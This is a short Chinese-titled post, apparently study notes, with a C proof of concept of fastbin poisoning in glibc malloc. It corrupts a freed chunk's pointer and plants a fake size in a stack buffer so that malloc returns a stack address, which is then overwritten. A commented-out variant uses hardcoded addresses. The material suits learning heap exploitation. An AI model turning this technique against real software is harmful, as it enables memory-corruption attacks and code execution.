Linux堆溢出之fastbin控制malloc返回地址

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>

void *thread0(void *param)
{
    char buf[100]={0};
    *((int*)buf+1)=0x2d;
    void *buf0,*buf1,*buf2,*ptr;
    buf0=malloc(32);
    buf1=malloc(32);
    free(buf1);
    free(buf0);
    buf0 = malloc(32);
    ptr=(void*)((*(int*)buf0)+8);

    *(int*)ptr=(int)&buf[0];
    buf1 = malloc(32);
    buf2 = malloc(32); //buf2为&buf[0]地址
    memset(buf2,0xff,40);
    printf("kkkkkk\n");
    pthread_exit((void*)0);
}
/*
 *
 */
int main(int argc, char** argv) {
    pthread_t tid;
    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_attr_setdetachstate(&attr,PTHREAD_CREATE_DETACHED);
    pthread_create(&tid,&attr,thread0,(void*)0);
    pthread_attr_destroy(&attr);
    sleep(60000);

/*
    char buf[100]={0};
    *((int*)buf+1)=0x29;
    int *pppp=&buf[0];
    void *buf0,*buf1,*buf2;
    buf0=malloc(32);
    buf1=malloc(32);
    free(buf1);
    free(buf0);
    buf0 = malloc(32);
    memset(buf0,1,32);
    int *ptr=0x0804a030;
    *ptr=0xbffff588;
    buf1 = malloc(32);
    memset(buf1,2,32);
    buf2 = malloc(32);
    memset(buf2,4,40);
    printf("kkkkkk\n");
*/
    return (EXIT_SUCCESS);
}